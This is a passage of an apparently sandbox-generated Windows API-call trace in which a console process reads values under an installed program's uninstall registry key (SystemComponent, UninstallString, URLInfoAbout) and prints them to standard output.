(lpString="SystemComponent") returned 15 [0147.955] GetConsoleOutputCP () returned 0x1b5 [0147.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.955] GetConsoleOutputCP () returned 0x1b5 [0147.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0147.956] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.956] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.956] __iob_func () returned 0x7fefd702a80 [0147.956] _fileno (_File=0x7fefd702ab0) returned 1 [0147.956] _errno () returned 0xc4bb0 [0147.956] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.956] _errno () returned 0xc4bb0 [0147.956] GetFileType (hFile=0x50) returned 0x1 [0147.956] lstrlenW (lpString=" ") returned 4 [0147.956] GetConsoleOutputCP () returned 0x1b5 [0147.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.956] GetConsoleOutputCP () returned 0x1b5 [0147.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.956] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.956] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.956] __iob_func () returned 0x7fefd702a80 [0147.956] _fileno (_File=0x7fefd702ab0) returned 1 [0147.956] _errno () returned 0xc4bb0 [0147.956] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.956] _errno () returned 0xc4bb0 [0147.956] GetFileType (hFile=0x50) returned 0x1 [0147.956] lstrlenW (lpString="REG_DWORD") returned 9 [0147.956] GetConsoleOutputCP () returned 0x1b5 [0147.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.957] GetConsoleOutputCP () returned 0x1b5 [0147.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.957] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.957] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.957] __iob_func () returned 0x7fefd702a80 [0147.957] _fileno (_File=0x7fefd702ab0) returned 1 [0147.957] _errno () returned 0xc4bb0 [0147.957] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.957] _errno () returned 0xc4bb0 [0147.957] GetFileType (hFile=0x50) returned 0x1 [0147.957] lstrlenW (lpString=" ") returned 4 [0147.957] GetConsoleOutputCP () returned 0x1b5 [0147.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.957] GetConsoleOutputCP () returned 0x1b5 [0147.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.957] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.957] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.957] __iob_func () returned 0x7fefd702a80 [0147.957] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.958] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.958] _fileno (_File=0x7fefd702ab0) returned 1 [0147.958] _errno () returned 0xc4bb0 [0147.958] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.958] _errno () returned 0xc4bb0 [0147.958] GetFileType (hFile=0x50) returned 0x1 [0147.958] lstrlenW (lpString="0x1") returned 3 [0147.958] GetConsoleOutputCP () returned 0x1b5 [0147.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.958] GetConsoleOutputCP () returned 0x1b5 [0147.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.958] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.958] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.958] __iob_func () returned 0x7fefd702a80 [0147.958] _fileno (_File=0x7fefd702ab0) returned 1 [0147.958] _errno () returned 0xc4bb0 [0147.958] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.958] _errno () returned 0xc4bb0 [0147.958] GetFileType (hFile=0x50) returned 0x1 [0147.958] lstrlenW (lpString="\n") returned 1 [0147.958] GetConsoleOutputCP () returned 0x1b5 [0147.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.959] GetConsoleOutputCP () returned 0x1b5 [0147.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.959] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.959] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.959] GetProcessHeap () returned 0x2e0000 [0147.959] GetProcessHeap () returned 0x2e0000 [0147.959] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.959] GetProcessHeap () returned 0x2e0000 [0147.959] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.959] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.959] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.959] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.959] GetProcessHeap () returned 0x2e0000 [0147.959] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.959] GetProcessHeap () returned 0x2e0000 [0147.959] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.959] GetProcessHeap () returned 0x2e0000 [0147.959] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.959] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{929FBD26-9020-399B-9A7A-751D61F0B942}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.959] __iob_func () returned 0x7fefd702a80 [0147.959] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.959] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.959] _fileno (_File=0x7fefd702ab0) returned 1 [0147.959] _errno () returned 0xc4bb0 [0147.959] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.960] _errno () returned 0xc4bb0 [0147.960] GetFileType (hFile=0x50) returned 0x1 [0147.960] lstrlenW (lpString=" ") returned 4 [0147.960] GetConsoleOutputCP () returned 0x1b5 [0147.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.960] GetConsoleOutputCP () returned 0x1b5 [0147.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.960] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.960] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.960] lstrlenW (lpString="UninstallString") returned 15 [0147.960] __iob_func () returned 0x7fefd702a80 [0147.960] _fileno (_File=0x7fefd702ab0) returned 1 [0147.960] _errno () returned 0xc4bb0 [0147.960] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.960] _errno () returned 0xc4bb0 [0147.960] GetFileType (hFile=0x50) returned 0x1 [0147.960] lstrlenW (lpString="UninstallString") returned 15 [0147.960] GetConsoleOutputCP () returned 0x1b5 [0147.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.960] GetConsoleOutputCP () returned 0x1b5 [0147.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0147.961] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.961] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.961] __iob_func () returned 0x7fefd702a80 [0147.961] _fileno (_File=0x7fefd702ab0) returned 1 [0147.961] _errno () returned 0xc4bb0 [0147.961] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.961] _errno () returned 0xc4bb0 [0147.961] GetFileType (hFile=0x50) returned 0x1 [0147.961] lstrlenW (lpString=" ") returned 4 [0147.961] GetConsoleOutputCP () returned 0x1b5 [0147.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.961] GetConsoleOutputCP () returned 0x1b5 [0147.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.961] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.961] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.961] __iob_func () returned 0x7fefd702a80 [0147.961] _fileno (_File=0x7fefd702ab0) returned 1 [0147.961] _errno () returned 0xc4bb0 [0147.961] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.961] _errno () returned 0xc4bb0 [0147.961] GetFileType (hFile=0x50) returned 0x1 [0147.961] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.961] GetConsoleOutputCP () returned 0x1b5 [0147.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.962] GetConsoleOutputCP () returned 0x1b5 [0147.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.962] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.962] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.962] __iob_func () returned 0x7fefd702a80 [0147.962] _fileno (_File=0x7fefd702ab0) returned 1 [0147.962] _errno () returned 0xc4bb0 [0147.962] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.962] _errno () returned 0xc4bb0 [0147.962] GetFileType (hFile=0x50) returned 0x1 [0147.962] lstrlenW (lpString=" ") returned 4 [0147.962] GetConsoleOutputCP () returned 0x1b5 [0147.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.962] GetConsoleOutputCP () returned 0x1b5 [0147.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.962] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.962] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.962] __iob_func () returned 0x7fefd702a80 [0147.962] _fileno (_File=0x7fefd702ab0) returned 1 [0147.962] _errno () returned 0xc4bb0 [0147.962] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.963] _errno () returned 0xc4bb0 [0147.963] GetFileType (hFile=0x50) returned 0x1 [0147.963] lstrlenW (lpString="MsiExec.exe /X{929FBD26-9020-399B-9A7A-751D61F0B942}") returned 52 [0147.963] GetConsoleOutputCP () returned 0x1b5 [0147.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{929FBD26-9020-399B-9A7A-751D61F0B942}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.963] GetConsoleOutputCP () returned 0x1b5 [0147.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{929FBD26-9020-399B-9A7A-751D61F0B942}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{929FBD26-9020-399B-9A7A-751D61F0B942}", lpUsedDefaultChar=0x0) returned 52 [0147.963] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.963] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.963] __iob_func () returned 0x7fefd702a80 [0147.963] _fileno (_File=0x7fefd702ab0) returned 1 [0147.963] _errno () returned 0xc4bb0 [0147.963] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.963] _errno () returned 0xc4bb0 [0147.963] GetFileType (hFile=0x50) returned 0x1 [0147.963] lstrlenW (lpString="\n") returned 1 [0147.963] GetConsoleOutputCP () returned 0x1b5 [0147.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.963] GetConsoleOutputCP () returned 0x1b5 [0147.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.963] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.964] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.964] GetProcessHeap () returned 0x2e0000 [0147.964] GetProcessHeap () returned 0x2e0000 [0147.964] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.964] GetProcessHeap () returned 0x2e0000 [0147.964] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.964] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.964] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.964] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.964] GetProcessHeap () returned 0x2e0000 [0147.964] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.964] GetProcessHeap () returned 0x2e0000 [0147.964] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.964] GetProcessHeap () returned 0x2e0000 [0147.964] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.964] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.964] __iob_func () returned 0x7fefd702a80 [0147.964] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.964] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.964] _fileno (_File=0x7fefd702ab0) returned 1 [0147.964] _errno () returned 0xc4bb0 [0147.964] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.964] _errno () returned 0xc4bb0 [0147.964] GetFileType (hFile=0x50) returned 0x1 [0147.964] lstrlenW (lpString=" ") returned 4 [0147.964] GetConsoleOutputCP () returned 0x1b5 [0147.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.964] GetConsoleOutputCP () returned 0x1b5 [0147.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.965] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.965] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.965] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.965] __iob_func () returned 0x7fefd702a80 [0147.965] _fileno (_File=0x7fefd702ab0) returned 1 [0147.965] _errno () returned 0xc4bb0 [0147.965] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.965] _errno () returned 0xc4bb0 [0147.965] GetFileType (hFile=0x50) returned 0x1 [0147.965] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.965] GetConsoleOutputCP () returned 0x1b5 [0147.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.965] GetConsoleOutputCP () returned 0x1b5 [0147.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0147.965] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.965] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.965] __iob_func () returned 0x7fefd702a80 [0147.965] _fileno (_File=0x7fefd702ab0) returned 1 [0147.965] _errno () returned 0xc4bb0 [0147.965] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.965] _errno () returned 0xc4bb0 [0147.965] GetFileType (hFile=0x50) returned 0x1 [0147.965] lstrlenW (lpString=" ") returned 4 [0147.965] GetConsoleOutputCP () returned 0x1b5 [0147.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.966] GetConsoleOutputCP () returned 0x1b5 [0147.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.966] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.966] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.966] __iob_func () returned 0x7fefd702a80 [0147.966] _fileno (_File=0x7fefd702ab0) returned 1 [0147.966] _errno () returned 0xc4bb0 [0147.966] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.966] _errno () returned 0xc4bb0 [0147.966] GetFileType (hFile=0x50) returned 0x1 [0147.966] lstrlenW (lpString="REG_SZ") returned 6 [0147.966] GetConsoleOutputCP () returned 0x1b5 [0147.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.966] GetConsoleOutputCP () returned 0x1b5 [0147.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.966] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.966] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.966] __iob_func () returned 0x7fefd702a80 [0147.966] _fileno (_File=0x7fefd702ab0) returned 1 [0147.967] _errno () returned 0xc4bb0 [0147.967] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.967] _errno () returned 0xc4bb0 [0147.967] GetFileType (hFile=0x50) returned 0x1 [0147.967] lstrlenW (lpString=" ") returned 4 [0147.967] GetConsoleOutputCP () returned 0x1b5 [0147.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.967] GetConsoleOutputCP () returned 0x1b5 [0147.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.967] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.967] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.967] __iob_func () returned 0x7fefd702a80 [0147.967] _fileno (_File=0x7fefd702ab0) returned 1 [0147.967] _errno () returned 0xc4bb0 [0147.967] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.967] _errno () returned 0xc4bb0 [0147.967] GetFileType (hFile=0x50) returned 0x1 [0147.967] lstrlenW (lpString="") returned 0 [0147.967] __iob_func () returned 0x7fefd702a80 [0147.967] _fileno (_File=0x7fefd702ab0) returned 1 [0147.967] _errno () returned 0xc4bb0 [0147.967] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.967] _errno () returned 0xc4bb0 [0147.967] GetFileType (hFile=0x50) returned 0x1 [0147.967] lstrlenW (lpString="\n") returned 1 [0147.967] GetConsoleOutputCP () returned 0x1b5 [0147.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.968] GetConsoleOutputCP () returned 0x1b5 [0147.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.968] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.968] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.968] GetProcessHeap () returned 0x2e0000 [0147.968] 